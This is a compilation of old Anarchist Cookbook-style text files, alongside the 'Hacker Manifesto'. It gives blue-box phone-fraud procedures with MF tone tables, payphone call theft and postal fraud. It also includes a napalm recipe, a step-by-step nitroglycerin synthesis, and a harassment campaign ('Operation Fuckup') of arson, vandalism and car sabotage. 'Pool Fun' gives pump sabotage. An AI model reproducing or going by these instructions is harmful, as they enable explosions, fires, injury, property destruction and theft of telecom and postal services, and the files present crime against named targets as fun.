AS YOU LEAVE THE RESTCURANT, LOOKING BACK AT YOUR UNCLEANED TABLE, SOMEBODY
MUST REMEMBER THAT THEY LEFT THEIR CHOCOLATE SHAKE THERE! THE ONE THAT'S
ALMOST FULL!!!! HE TAKES IT THEN SAYS "THIS TASTES LIKE CRAP!", THEN HE
TAKES OFF THE LID AND THROWS IT INTO THE GARBAGE CAN...OOPS! HE MISSED,
AND NOW THE SAME POOR SOUL WHO'S CLEANING UP THE BATHROOM NOW HASTA CLEAN
UP CHOCOLATE SHAKE. THEN LEAVE THE JOINT, REVERSING THE "YES, WE'RE OPEN"
SIGN (AS A REMINDER OF YER VISIT THERE YOU HAVE IT! YOU HAVE JUST PUT
ALL OF MCDONALDS INTO COMPLETE MAYHEM. AND SINCE THERE IS NO PENALTY FOR
LITTERING IN A RESTAURANT, BUGGING PEOPLE IN A PUBLIC EATERY (OR
THROW-UPERY, IN THIS CASE) YOU GET OFF SCOT-FREE. WASN'T THAT FUN?
--------------Exodus-------------
_
"Mentor's Last Words" courtesy of the Jolly Roger
The following file is being reprinted in honor and sympathy for the many
phreaks and hackers that have been busted recently by the Secret Service.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \/\The Conscience of a Hacker/\
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Another one got caught today, it's all over the papers. "Teenager
Arrested in Computer Crime Scandal", "Hacker Arrested after Bank
Tampering"... Damn kids. They're all alike. But did you, in your threepiece
psychology and 1950's technobrain, ever take a look behind the
eyes of the hacker? Did you ever wonder what made him tick, what forces
shaped him, what may have molded him? I am a hacker, enter my world...
Mine is a world that begins with school... I'm smarter than most of the
other kids, this crap they teach us bores me... Damn underachiever.
They're all alike. I'm in junior high or high school. I've listened to
teachers explain for the fifteenth time how to reduce a fraction.
I understand it. "No, Ms. Smith, I didn't show my work. I did it in
my head..." Damn kid. Probably copied it. They're all alike.
I made a discovery today. I found a computer. Wait a second, this is
cool. It does what I want it to. If it makes a mistake, it's because I
screwed it up. Not because it doesn't like me... Or feels threatened by
me.. Or thinks I'm a smart ass.. Or doesn't like teaching and shouldn't be
here... Damn kid. All he does is play games. They're all alike. And then
it happened... a door opened to a world... rushing through the phone line
like heroin through an addict's veins, an electronic pulse is sent out,
a refuge from the day-to-day incompetencies is sought... a board is found.
"This is it... this is where I belong..." I know everyone here... even
if I've never met them, never talked to them, may never hear from them
again... I know you all... Damn kid. Tying up the phone line again.
They're all alike... You bet your ass we're all alike... we've been
spoon-fed baby food at school when we hungered for steak... the bits of
meat that you did let slip through were pre-chewed and tasteless.
We've been dominated by sadists, or ignored by the apathetic. The few
that had something to teach found us willing pupils, but those few are
like drops of water in the desert.
This is our world now... the world of the electron and the switch, the
beauty of the baud. We make use of a service already existing without
paying for what could be dirt-cheap if it wasn't run by profiteering
gluttons, and you call us criminals. We explore... and you call us
criminals. We seek after knowledge... and you call us criminals. We
exist without skin color, without nationality, without religious bias...
and you call us criminals. You build atomic bombs, you wage wars, you
murder, cheat, and lie to us and try to make us believe it's for our
own good, yet we're the criminals.
Yes, I am a criminal. My crime is that of curiosity. My crime is
that of judging people by what they say and think, not what they look like.
My crime is that of outsmarting you, something that you will never
forgive me for. I am a hacker, and this is my manifesto. You may stop
this individual,but you can't stop us all... after all, we're all alike.
+++The Mentor+++
[May the members of the phreak community never forget his words -JR]
-----------Exodus----------- _
The Myth of the 2600hz Detector courtesy of the Jolly Roger
(Imported from the Apple ][ so forgive the upper case!!)
JUST ABOUT EVERYONE I TALK TO THESE DAYS ABOUT ESS SEEMS TO BE SCARED
WITLESS ABOUT THE 2600HZ DETECTOR. I DON'T KNOW WHO THOUGHT THIS ONE UP,
BUT IT SIMPLY DOES NOT EXIST. SO MANY OF YOU PEOPLE WHINE ABOUT THIS SO
-CALLED PHREAK CATCHING DEVICE FOR NO REASON.
SOMEONE WITH AT&T SAID THEY HAD IT TO CATCH PHREAKERS. THIS WAS JUST TO
SCARE THE BLUE-BOXERS ENOUGH TO MAKE THEM QUIT BOXING FREE CALLS.
I'M NOT SAYING ESS IS WITHOUT ITS HANG-UPS, EITHER. ONE THING THAT ESS CAN
DETECT READILY IS THE KICK-BACK THAT THE TRUNK CIRCUITRY SENDS BACK TO THE
ESS MACHINE WHEN YOUR LITTLE 2600HZ TONE RESETS THE TOLL TRUNK. AFTER AN
ESS DETECTS A KICKBACK IT TURNS AN M-F DETECTOR ON AND RECORDES ANY M-F
TONES X-MITTED.
---------------------------------------
DEFEATING THE KICK-BACK DETECTOR
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
AS MENTIONED IN MY PREVIOUS NOTE, KICK-BACK DETECTION CAN BE A SERIOUS
NUISANCE TO ANYONE INTERESTED IN GAINING CONTROL OF A TRUNK LINE.
THE EASIEST WAY TO BY-PASS THIS DETECTION CIRCUITRY IS NOT REALLY
BY-PASSING IT AT ALL, IT IS JUST LETTING THE KICK-BACK GET DETECTED ON
SOME OTHER LINE. THIS OTHER LINE IS YOUR LOCAL MCI, SPRINT, OR OTHER LONG
DISTANCE CARRIER (EXCEPT AT&T). THE ONLY CATCH IS THAT THE SERVICE
YOU USE MUST NOT DISCONNECT THE LINE WHEN YOU HIT THE 2600HZ TONE.
THIS IS HOW YOU DO IT: CALL UP YOUR LOCAL EXTENDER, PUT IN THE CODE,
AND DIAL A NUMBER IN THE 601 AREA CODE AND THE 644 EXCHANGE. LOTS OF OTHER
EXCHANGES WORK ACROSS THE COUNTRY, I'M SURE, BUT THIS IS THE ONLY ONE
THAT I HAVE FOUND SO FAR. ANYWAY, WHEN IT STARTS RINGING, SIMPLY HIT
2600HZ AND YOU'LL HEAR THE KICK-BACK, (KA-CHIRP, OR WHATEVER). THEN YOU ARE
READY TO DIAL WHOEVER YOU WANT (CONFERENCES, INWARD, ROUTE AND RATE,
OVERSEAS, ETC.) FROM THE TRUNK LINE IN OPERATOR TONES! SINCE BLOWING
2600HZ DOESN'T MAKE YOU YOU A PHREAKER UNTIL THE TOLL EQUIPMENT RESETS
THE LINE, KICKBACK DETECTION IS THE METHOD AT&T CHOOSES (FOR NOW)
THIS INFORMATION COMES AS A RESULT OF MY EXPERIMENTS & EXPERIENCE AND
HAS BEEN VERIFIED BY LOCAL AT&T EMPLOYEES I HAVE AS ACQUAINTANCES.
THEY COULD ONLY SAY THAT THIS IS TRUE FOR MY AREA, BUT WERE PRETTY SURE
THAT THE SAME IDEA IS IMPLEMENTED ACROSS THE COUNTRY.
=======================================
NOW THAT YOU KNOW HOW TO ACCESS A TRUNK LINE OR AS OPERATORS SAY A LOOP, I
WILL TELL YOU THE MANY THINGS YOU CAN DO WITH IT.
HERE IS A LIST OF AT&T SERVICES ACCESSIBLE TO YOU BY USING A BLUE BOX.
A/C+101 TOLL SWITCHING
A/C+121 INWARD OPERATOR
A/C+131 INFORMATION
A/C+141 ROUTE & RATE OP.
A/C+11501 MOBILE OPERATOR
A/C+11521 MOBILE OPERATOR
STARTING CONFERANCES:---------------------
THIS IS ONE THE MOST USEFUL ATTRIBUTES OF BLUE BOXING. NOW THE CONFS.
ARE UP 24 HOURS/DAY AND 7 DAYS/WEEK AND THE BILLING LINES ARE BEING
BILLED.
SINCE I BELEIVE THE ABOVE IS TRUE (ABOUT THE BILLING LINES BEING BILLED)
I WOULD RECOMMEND THAT YOU NEVER LET YOUR # SHOW UP ON THE CONF. IF YOU
STARTED IT, PUT IT ON A LOOP AND THEN CALL THE LOOP. ENOUGH
BULLSHIT!!!!! TO START THE CONF. DIAL ONE OF THESE THREE NUMBERS IN
M-F WHILE YOU ARE ON THE TRUNK.
213+080+XXXX
XXXX=1050,3050
SPECIAL XXXX=1000,1100,1200,1500,2200,2500.
THESE #S ARE IN L.A. AND ARE THE MOST WATCHED, I DO NOT ADVISE USING THIS
NPA.
312+001+1050 OR 3050
914+042+1050 OR 1100,1200 ECT..
***************************************
UPDATE, I BELEIVE ONLY 914 WORKS AT THE MOMENT
***************************************
ONCE CONNECTED WITH ONE OF THESE YOU WILL EITHER HEAR A RE-ORDER,
BUSY, OR CHERP. WHEN YOU HEAR THE CHERP ENTER THE BILLING LINE IN M-F.
I USE THE CONF. DIAL- UP.
A BILLING LINE EXAMPLE: KP312+001+1050ST
YOU WILL THEN HEAR TWO TUTES AND A RECORDING ASKING YOU FOR THE # OF
CONFERREES INCLUDING YOURSELF. ENTER A # BETWEEN 20 AND 30.
IF YOU EVER GET OVER 30 PEOPLE ON A CONFERANCE ALL YOU WILL HEAR IS
JUMBLED VOICES. AFTER THE IT SAYS
"YOUR CONFERANCE SIZE IS XX" THEN HIT # SIGN. ADD YOUR FAVORITE LOOP
ON AND HIT 6 TO TRANSFER CONTROL TO IT. AFTER IT SAYS CONTROL WILL BE
TRANSFERED HANG UP AND CALL THE OTHER SIDE OF THE LOOP,
HIT # SIGN AND FOLLOW THE INSTRUCTIONS. A BONUS FOR CONF. IS TO ADD AN
INTERNATIONAL # DIAL 1+011+CC+NUMBER PRETTY COOL EHHH.
A FEW EXTRA NOTES.
DO NOT ADD #S THAT YOU WILL WANT TO HANG UP, ADD THESE THROUGH MCI OR
SPRINT. YOU CANNOT BLOW ANYONE OFF W/2600HZ UNLESS THEY ARE IN AN
OLD X-BAR OR OLDER SYSTEM.
MANY D.A. OPERATORS WILL STAY ON AFTER YOU ABUSE THEM; YOU MAY HAVE TO
START ANOTHER OR AT LEAST DON'T SAY ANY NUMBERS.
NEVER ADD THE TONE SIDE OF A LOOP ONTO A CONF.
NEVER ADD MORE THAN ONE MCI NODE ON YOUR CONF.
ROUTE & RATE:
-------------
NOTE ROUTE & RATE AND RQS PERFORM THE SAME SERVICE.
R&R SIMPLY TELLS YOU ROUTE AND RATE INFO WHICH IS VERY VALUBLE, EX.
SUCH AS THE INWARD ROUTING FOR AN EXCHANGE IN AN AREA CODE.
AN INWARD ROUTING WILL LET YOU CALL HER AND SHE CAN DO AN EMERGENCY
INTERUPT FOR YOU. SHE CAN TELL YOU HOW TO GET INTERNATIONAL OPERATORS,ECT.
HERE ARE THE TERMS YOU ARE REQUIRED TO USE:
INTERNATIONAL,
-OPERATOR ROUTE FOR [COUNTRY, CITY]. *GIVES YOU INWARD OP.
-DIRECTORY ROUTE FOR [COUNTRY, CITY]. *GIVES YOU DIRECTORY ASS.
-CITY ROUTE FOR [COUNTRY, CITY]. *GIVES YOU COUNTRY AND CITY CODE.
OPERATOR ROUTE FOR [A/C]+ [EXCHANGE] *GIVES YOU INWARD OP. ROUTE
EX. [A/C]+ OR [A/C]+0XX+ WHEN SHE SAYS PLUS SHE MEANS PLUS 121.
NUMBERS ROUTE FOR [STATE, CITY] *GIVES YOU A/C.
PLACE NAME [A/C]+[EXCHANGE] *GIVES YOU CITY/STATE FOR THAT A/C AND
EXCHANGE.
INTERNATIONAL CALLS:
--------------------
TO CALL INTERNATIONAL OVER CABLE SIMPLY ACCESS A TRUNK AND DIAL
KP011XXXST WAIT FOR SENDER TONE, KPXXXCC-NUMBERST
XXX - A 3 DIGIT COUNTRY CODE, IT MAY NOT BE 3 DIGITS SO JUST PUT
1 OR 2 0'S IN FRONT OF IT. CC - IS THE CITY CODE
TO GO BY SATELLITE:
DIAL KP18XST X - NUMBERS 2-8 WAIT FOR SENDER TONE THEN
KPXXXCCNUMBERST
A favorite in the CookBookIV!
Exodus-.
_
Blue Box courtesy of the Jolly Roger
To quote Karl Marx, blue boxing has always been the most noble form of
phreaking. As opposed to such things as using an MCI code to make a free
fone call, which is merely mindless pseudo-phreaking, blue boxing
is actual interaction with the Bell System toll network.
It is likewise advisable to be more cautious when blue boxing, but the
careful phreak will not be caught, regardless of what type of switching
system he is under.
In this part, I will explain how and why blue boxing works, as well as
where. In later parts, I will give more practical information for blue
boxing and routing information. To begin with, blue boxing is simply
communicating with trunks. Trunks must not be confused with subscriber
lines (or "customer loops") which are standard telefone lines. Trunks are
those lines that connect central offices. Now, when trunks are not in
use (i.e., idle or "on-hook" state) they have 2600Hz applied to them. If
they are two-way trunks, there is 2600Hz in both directions. When a trunk
IS in use (busy or "off-hook" state), the 2600Hz is removed from the side
that is off-hook. The 2600Hz is therefore known as a supervisory
signal, because it indicates the status of a trunk; on hook (tone) or
off-hook (no tone). Note also that 2600Hz denoted SF (single frequency)
signalling and is "in-band." This is very important. "In-band" means that
is within the band of frequencies that may be transmitted over normal
telefone lines. Other SF signals, such as 3700Hz are used also. However,
they cannot be carried over the telefone network normally (they are
"out-of-band" and are therefore not able to be taken advantage of as
2600Hz is. Back to trunks. Let's take a hypothetical phone call. You pick
up your fone and dial 1+806-258-1234 (your good friend in Amarillo, Texas).
For ease, we'll assume that you are on #5 Crossbar switching and not in the
806 area. Your central office (CO) would recognize that 806 is a foreign
NPA, so it would route the call to the toll centre that serves you.
[For the sake of accuracy here, and for the more experienced readers,
note that the CO in question is a class 5 with LAMA that uses out-of-band
SF supervisory signalling]. Depending on where you are in the country,
the call would leave your toll centre (on more trunks) to another toll
centre, or office of higher "rank". Then it would be routed to central
office 806-258 eventually and the call would be completed.
Illustration
A---CO1-------TC1------TC2----CO2----B
A.... you
CO1=your central office
TC1.. your toll office.
TC2.. toll office in Amarillo.
CO2.. 806-258 central office.
B.... your friend (806-258-1234)
In this situation it would be realistic to say that CO2 uses SF
in-band (2600Hz) signalling, while all the others use out-of-band signalling
(3700Hz). If you don't understand this, don't worry. I am pointing
this out merely for the sake of accuracy. The point is that while you
are connected to 806-258-1234, all those trunks from YOUR central office
(CO1) to the 806-258 central office (CO2) do *NOT* have 2600Hz on them,
indicating to the Bell equipment that a call is in progress and the trunks
are in use.
Now let's say you're tired of talking to your friend in Amarillo, so you
send a 2600Hz down the line. This tone travels down the line to your
friend's central office (CO2) where it is detected. However, that CO thinks
that the 2600Hz is originating from Bell equipment, indicating to it
that you've hung up, and thus the trunks are once again idle (with 2600Hz
present on them). But actually, you have not hung up, you have fooled the
equipment atyour friend's CO into thinking you have. Thus,it disconnects
him and resets the equipment to prepare for the next call. All this happens
very quickly (300-800ms for step-by-step equipment and 150-400ms for other
equipment). When you stop sending 2600Hz (after about a second), the
equipment thinks that another call is coming towards
--> on hook, no tone -->off hook.
Now that you've stopped sending 2600Hz, several things happen:
1) A trunk is seized.
2) A "wink" is sent to the CALLING end from the CALLED end indicating that
the CALLED end (trunk) is not ready to receive digits yet.
3) A register is found and attached to the CALLED end of the trunk within
about two seconds (max).
4) A start-dial signal is sent to the CALLING end from the CALLED end
indicating that the CALLED end is ready to receive digits.
Now, all of this is pretty much transparent to the blue boxer. All he
really hears when these four things happen is a . So,
seizure of a trunk would go something like this:
1> Send a 2600Hz
2> Terminate 2600Hz after 1-2 secs.
3> [beep][kerchunk]
Once this happens, you are connected to a tandem that is ready to obey your
every command. The next step is to send signalling information in order to
place your call. For this you must simulate the signalling used by
operators and automatic toll-dialing equipment for use on trunks. There are
mainly two systems, DP and MF. However, DP went out with the dinosaurs, so
I'll only discuss MF signalling. MF (multi-frequency) signalling is the
signalling used by the majority of the inter- and intra-lata network. It is
also used in international dialing known as the CCITT no.5 system.
MF signals consist of 7 frequecies, beginning with 700Hz and separated by
200Hz. A different set of two of the 7 frequencies represent the digits 0
thru 9, plus an additional 5 special keys. The frequencies and uses are as
follows:
Frequencies (Hz) Domestic Int'l
-------------------------------------
700+900 1 1
700+1100 2 2
900+1100 3 3
700+1300 4 4
900+1300 5 5
1100+1300 6 6
700+1500 7 7
900+1500 8 8
1100+1500 9 9
1300+1500 0 0
700+1700 ST3p Code 1
900+1700 STp Code 1
1100+1700 KP KP1
1300+1700 ST2p KP2
1500+1700 ST ST
The timing of all the MF signals is a nominal 60ms, except for KP, which
should have a duration of 100ms. There should also be a 60ms silent period
between digits. This is very flexible however, and most Bell equipment will
accept outrageous timings. In addition to the standard uses
listed above, MF pulsing also has expanded usages known as "expanded
inband signalling" that include such things as coin collect, coin return,
ringback, operator attached, and operator attached, and operator
released. KP2, code 11, and code 12 and the ST_ps (STart "primes" all have
special uses which will be mentioned only briefly here.
To complete a call using a blue box once seizure of a trunk has been
accomplished by sending 2600Hz and pausing for the , one
must first send a KP. This readies the register for the digits that follow.
For a standard domestic call, the KP would be followed by either 7 digits
(if the call were in the same NPA as the seized trunk) or 10 digits (if the
call were not in the same NPA as the seized trunk). [Exactly like dialing
normal fone call]. Following either the KP and 7 or 10 digits, a STart is
sent to signify that no more digits follow. Example of a complete call:
1> Dial 1-806-258-1234
2> wait for a call-progress indication (such as ring,busy,recording,etc.)
3> Send 2600Hz for about 1 second.
4> Wait for about ll-progress indication (such as ring,busy,recording,etc.)
5> Send KP+305+994+9966+ST
The call will then connect if everything was done properly. Note that if a
call to an 806 number were being placed in the same situation, the are code
would be omitted and only KP + seven digits + ST would be sent.
Code 11 and code 12 are used in international calling to request
certain types of operators. KP2 is used in international calling to route a
call other than by way of the normal route, whether for economic or
equipment reasons. STp, ST2p, and ST3p (prime, two prime, and three prime)
are used in TSPS signalling to indicate calling type of call (such as
coin-direct dialing.
It all started here................... Exodus_
Napalm (Another way to make it...) by the Jolly Roger
(See file #021 of Cookbook IV for an easy way to make it!!)
About the best fire bomb is napalm. It has a thick consistancy,
like jam and is best for use on vehilces or buildings.
Napalms is simply one part gasoline and one part soap. The soap is
either soap flakes or shredded bar soap. Detergents won't do.
The gasoline must be heated in order for the soap to melt. The
usual way is with a double boiler where the top part has at least a
two-quart capicity. The water in the bottom part is brought to a boil
and the double boiler is taken from the stove and carried to where
there is no flame.
Then one part, by volume, of gasoline is put in the top part and
allowed to heat as much as it will and the soap is added and the mess
is stirred until it thickens. A better way to heat gasoline is to fill
a bathtub with water as hot as you can get it. It will hold its heat
longer and permit a much larger container than will the double boiler.
------------Exodus-----------
_
Nitroglycerin Recipe by the Jolly Roger
Like all chemists I must advise you all to take the greatest care
and caution when you are doing this. Even if you have made this stuff
before.
This first article will give you information on making
nitroglyerin, the basic ingredient in a lot of explosives such as
straight dynamites, and geletin dynamites.
Making nitroglycerin
1. Fill a 75-milliliter beaker to the 13 ml. Level with fuming
red nitric acid, of 98% pure concentration.
2. Place the beaker in an ice bath and allow to cool below room
temp.
3. After it has cooled, add to it three times the amount of
fuming sulferic acid (99% h2so4). In other words, add to the
now-cool fuming nitric acid 39 ml. Of fuming sulferic acid.
When mixing any acids, always do it slowly and carefully to
avoid splattering.
4. When the two are mixed, lower thier temp. By adding more ice
to the bath, about 10-15 degrees centigrade. (Use a
mercury-operated thermometer)
5. When the acid solution has cooled to the desired temperature,
it is ready for the glycerin. The glycerin must be added in
small amounts using a medicine dropper. (Read this step about
10 times!) Glycerin is added slowly and carefully (i mean
careful!) Until the entire surface of the acid it covered with
it.
6. This is a dangerous point since the nitration will take place
as soon as the glycerin is added. The nitration will produce
heat, so the solution must be kept below 30 degrees
centigrade! If the solution should go above 30 degrees,
immediately dump the solution into the ice bath! This will
insure that it does not go off in your face!
7. For the first ten minutes of nitration, the mixture should be
gently stirred. In a normal reaction the nitroglycerin will
form as a layer on top of the acid solution, while the sulferic
acid will absorb the excess water.
8. After the nitration has taken place, and the nitroglycerin has
formed on the top of the solution, the entire beaker should be
transferred slowly and carefully to another beaker of water.
When this is done the nitroglycerin will settle at the bottem
so the other acids can be drained away.
9. After removing as much acid as posible without disturbing the
nitroglycerin, remove the nitroglycerin with an eyedropper and
place it in a bicarbonate of soda (sodium bicarbonate in case
you didn't know) solution. The sodium is an alkalai and will
nuetralize much of the acid remaining. This process should be
repeated as much as necesarry using blue litmus paper to check
for the presence of acid. The remaining acid only makes the
nitroglycerin more unstable than it already is.
10. Finally! The final step is to remove the nitroglycerin from
the bicarbonate. His is done with and eye- dropper, slowly
and carefully. The usual test to see if nitration has been
successful is to place one drop of the nitroglycerin on metal
and ignite it. If it is true nitroglycerin it will burn with
a clear blue flame.
** Caution **
Nitro is very sensative to decomposition, heating dropping, or
jarring, and may explode if left undisturbed and cool.
---------Exodus--------
_
Operation: Fuckup by the Jolly Roger
This is a guide for Anarchists and can be funny for non-believers and 12
and 13 year old runts, and can be a lexicon of deadly knowledge for True
Anarchists... Serious damage is intended to be dealt here. Do not try
this stuff unless you want to do a lot of serious Anarchy.
[Simulation]
Asshole - 'Listen, you little teenager punk shit, shut the fuck up, or I'll
knock you down!'
Anarchist - 'O.K.....You can't say I didn't warn you. You don't know my
rue power...' (soooo casually)
Asshole - 'Well, er, what do you mean? Anarchist - ''
As you can see, the Anarchist knows something that this asshole doesn't...
[Operation Fuckup]
Geta wheel barrel or two. Fill with gasoline. Get 16 rolls of toilet
paper, unroll & drench in the gasoline. Rip to shreds in gasoline. Get
asbestos gloves. Light a flare (to be punk), grab glob of
saturated toilet paper (you can ignite the glob or not). Throw either
flaming or dripping glob into:
any window (picture is the best)
front doors
rough grain siding
and best of all, brick walls.
First of all, this bitch is near impossible to get off once dried, and
is a terror to people inside when lit! After this... during the
night, get a pickup truck, a few wheel-barrels, and a dozen friends with
shovels. The pickup can be used only for transporting people
and equipment, or doing that, and carting all the dirt. When it gets
around 12:00 (after the loser goes beddie - bye), dig a gargantuan hole
in his front yard until about 3:00. You can either assign three or four
of your friends to cart the dirt ten miles away in the pickup-bed, or
bury his front door in 15' of dirt! After that is done, get
three or four buckets of tar, and coat his windows. You can make an
added twist by igniting the tar when you are all done and ready to
run! That is if the loser has a house. If he lives inside an apartment
building, you must direct the attack more toward his car, and front door.
I usually start out when he goes to work...I find out what his cheap car
looks like, and memorize it for future abuse...It is always fun to paint
his front door (apt.) hot pink with purple polka-dots, and off-neon
colors in diagonal stripes. You can also pound a few hundred or so four
inch nails into his front door (this looks like somebody really
doesn't like you from the inside). Another great is to fill his keyhole
with liquid steel so that after the bastard closes his door - the
only way to get back in is to break it down. If you can spare it, leave
him an axe - that is, implanted three inches into, and through the door!
Now, this next one is difficult, but one of the best! Get a piece of wood
siding that will more than cover his front door completely. Nail two by
fours on the edges of the siding (all except the bottom) so you have
a barge - like contraption. Make a hole at the top that will be large
enough for a cement slide. Mix about six or seven LARGE bags of QUICK
drying cement. Use the cement slide to fill the antichamber created by
the 'barge' that is around his door. Use more two by fours to brace
your little cement-filled barge, and let the little gem dry. When it is,
remove the 'barge' so only a stone monolith remains that covers his door.
Use any remaining cement to make a base around this so he can't just push
it over. When I did this, he called the fire department, and they thought
he meant wood, so they brought axes. I watched with a few dozen or so
other tenants, and laughed my damn ass off! This is only his door! After
he parks his car for the night, the fun really begins...I start out
by opening up the car by jamming a very thin, but loack - inside and out!
Then proceed to put orange-juice syrup all over the seats, so after he
gets through all the other shit that you do, he will have the stickiest
seats in the world. You can then get a few Sunday papers, and crack one of
the windows about four inches. Lightly crumple the papers, and continue to
completely fill the inside of his car with the newspapers. A copy of the
Sunday New York Times will nicely fill a Volkeswagon! What is also quite
amusing is to put his car on cinder blocks, slash his tires at the top, and
fill them with cement! Leave the cinder blocks there so that, after he
knocks the car off of them, he will get about 3 miles to the gallon with
those tires, and do 0 to 60 in about two minutes! It is even more
hilarious when he doesn't know why the hell why! Another is to open his
hood, and then run a few wires from the sparkplugs to the METAL body.
The sure is one HOT car when it is running! Now, I like to pour two pounds
of sugar down his gas tank. If this doesn't blow every gasket in his
engine it will do something called 'carmelizing his engine'. This is when
the extreme heat turns the sugar to carmel, and you literally must
completely take the engine out and apart, and clean each and every
individual part!
Well, if this asshole does not get the message, you had better start to
get serious. If this guide was used properly & as it was intended (no,
not as kindling for the fire), this asshole will either move far away,
seek professional psychological help, commit suicide,
or all of the above!
-----------Exodus----------
_
*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*
* How to "steal" local calls from most Payphones *
*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*-+-*
by the Jolly Roger
Now to make free local calls, you need a finishing nail. I highly
recommend "6D E.G. FINISH C/H, 2 INCH" nails. These are about 3/32 of
an inch in diameter and 2 inches long (of course). You also need a large
size paper clip. By large I mean they are about 2 inches long
(FOLDED). Then you unfold the paper clip. Unfold it by taking each piece
and moving it out 90 degrees. When it is done it should look somewhat
like this:
/----------\
: :
: :
: :
: :
\-----
Now, on to the neat stuff. What you do, instead of unscrewing the
glued-on mouthpiece, is insert the nail into the center hole of
the mouthpiece (where you talk) and push it in with
pressure or just hammer it in by hitting the nail on something.
Just DON'T KILL THE MOUTHPIECE! You could damage it
if you insert the nail too far or at some weird angle. If this
happens then the other party won't be able to hear what you say.
You now have a hole in the mouthpiece in which you can easily insert the
paper clip. So, take out the nail and put in the paper clip.
Then take the other end of the paper clip and shove it under the rubber
cord protector at the bottom of the handset (you know, the blue guy...).
This should end up looking remotely like...like this:
/----------\ Mouthpiece
: :
Paper clip --> : : /
: /---:---\
: : :
:------------>
====================\---))):
: To earpiece ->
^ ^
\-------------------->
: :
: :
Cord Blue guy
(The paper clip is shoved under the blue guy to make a good connection
between the inside of the mouthpiece and the metal cord.)
Now, dial the number of a local number you wish to call, sayyyy,
MCI. If everything goes okay, it should ring and not answer with the
"The Call You Have Made Requires a 20 Cent Deposit" recording. After the
other end answers the phone, remove the paper clip. It's all that
simple, see?
There are a couple problems, however. One is, as I mentioned
earlier, the mouthpiece not working after you punch it. If this
happens to you, simply move on to the next payphone. The one you are
now on is lost. Another problem is that the touch tones won't work
when the paper clip is in the mouthpiece. There are two ways around this..
A> Dial the first 6 numbers. This should be done without the paper
clip making the connection, i.e., one side should not be connected.
Then connect the paper clip, hold down the last digit, and slowly
pull the paper clip out at the mouthpiece's end.
B> Don't use the paper clip at all. Keep the nail in after you punch
it. Dial the first 6 digits. Before dialing the last digit, touch
the nail head to the plate on the main body of the phone, the money
safe thingy..then press the last number. The reason that this method
is sometimes called clear boxing is because there is
another type of phone which lets you actually make the call and listen
to them say "Hello, hello?" but it cuts off the mouthpiece so they
can't hear you. The Clear Box is used on that to amplify your voice
signals and send it through the earpiece. If you see how this is
even slightly similar to the method I have just described up there,
kindly explain it to ME!! Cause I don't GET IT! Anyways, this DOES
work on almost all single slot, Dial Tone First payphones (Pacific Bell
for sure). I do it all the time. This is the least, I STRESS
*LEAST*, risky form of Phreaking.
I was unable to update this one. From what I recall, it stil worked.
Look for payfones w/o the little volume button in the upper left of the
casing. They should be old enough to use.. -Exodus-
_
Pool Fun by the Jolly Roger
First of all, you need know nothing about pools. The only thing
you need know is what a pool filter looks like. If you don't know that.
Second, dress casual. Preferably, in black. Visit your
"friends" house, the one whose pool looks like fun!!) Then you
reverse the polarity of his/her pool, by switching the wires around.
They are located in the back of the pump. This will have quite an
effect when the pump goes on. In other words. Boooooooooooommm!
Thats right, when you mix + wires with - plugs, and vice- versa, the
4th of july happens again.
Not into total destruction??? When the pump is off, switch the
pump to "backwash". Turn the pump on and get the phuck out! When you
look the next day, phunny. The pool is dry. If you want permanant
damage, yet no great display like my first one mentioned, shut the
valves of the pool off. (There are usually 2) One that goes to the
main drain and one that goes to the filter in the pool. That should
be enough to have one dead pump. The pump must take in water, so when
there isn't any...
Practical jokes: these next ones deal with true friends and
there is *no* permanent damage done. If you have a pool, you must
check the pool with chemicals. There is one labeled orthotolidine.
The other is labeled alkaline (ph). You want orthotolidine. (It
checks the chlorine).
Go to your local pool store and tell them you're going into the pool
business, and to sell you orthotolidine (a
CL detector) Buy this in great quantities if possible. The solution
is clear. You fill 2 baggies with this chemical. And sew the bags to
the inside of your suit. Next, go swimming with your friend!
Then open the bags and look like you're enjoying a piss. And anyone
there will turn a deep red! They will be embarrased so much,
Especially if they have guests there! Explain what it is, then add
vinegar to the pool. Only a little. The "piss" disappears.
HAHA!! --------------Exodus------------
_
Free Postage by the Jolly Roger
The increasing cost of postage to mail letters and packages is
bringing down our standard of living. To remedy this deplorable
situation, some counter control measures can be applied.
For example, if the stamps on a letter are coated with Elmer's
Glue by the sender, the cancellation mark will not destroy the stamp:
the Elmer/s drives to form an almost invisible coating that protects
the stamps from the cancellation ink. Later, the receiver of the
letter can remove the cancellation mark with water and reuse the
stamps. Furthermore, ecological saving will also result from recycling
the stamps. Help save a tree.
The glue is most efficently applied with a brush with stiff,
short bristles. Just dip the brush directly into the glue and spread
it on evenly, covering the entire surface of the stamp. It will dry
in about 15 minutes.
For mailing packages, just follow the same procedure as outlined
above; however, the package should be weighed and checked to make sure
that it has the correct amount of postage on it before it is taken to
the Post Office.
Removing the cancellation and the glue from the stamps can be
easily accomplished by soaking the stamps in warm water until they
float free from the paper. The stamps can then be put onto a paper
towel to dry. Processing stamps in large batches saves time too.
Also, it may be helpful to write the word 'Elmer' at the top of the
letter (not on the envelope) to cue the receiving party in that the
stamps have been protected with the glue.
We all know that mailing packages can be expensive. And we also
know that the handicapped are sometimes discriminated against in jobs.
The Government, being the generous people they are, have given the
blind free postal service.
Simply address you envelope as usual, and make one modification.
In the corner where the stamp would go, write in (or stamp) the words
'FREE MATTER FOR THE BLIND". Then drop you package or letter in one
of the blue fedral mailboxes. DO NOT TAKE THE LETTER TO THE POST
OFFICE, OR LEAVE IT IN YOUR MAILBOX.
Sounds very nice of the government to do this, right? Well, they
aren't that nice. The parcel is sent library rate, that is below
third class. It may take four to five days to send a letter to just
the next town.
This too is quite simple, but less effective. Put the address
that you are sending the letter to as the return address. If you were
sending a $20 donation to the pirate's Chest, you would put our
address (po box 644, lincoln ma. 01773) as the return address.
Then you would have to be carless and forget to put the stamp on
the envelope. A nice touch is to put a bullshit address in the center
of the envelope.
Again, you MUST drop the letter in a FEDRAL mailbox. If the post
office doesn't send the letter to the return address for having no
stamp, they will send it back for the reason of "No such address".
Example--
Pirates Chest Dept. 40DD
P.O. Box 644865
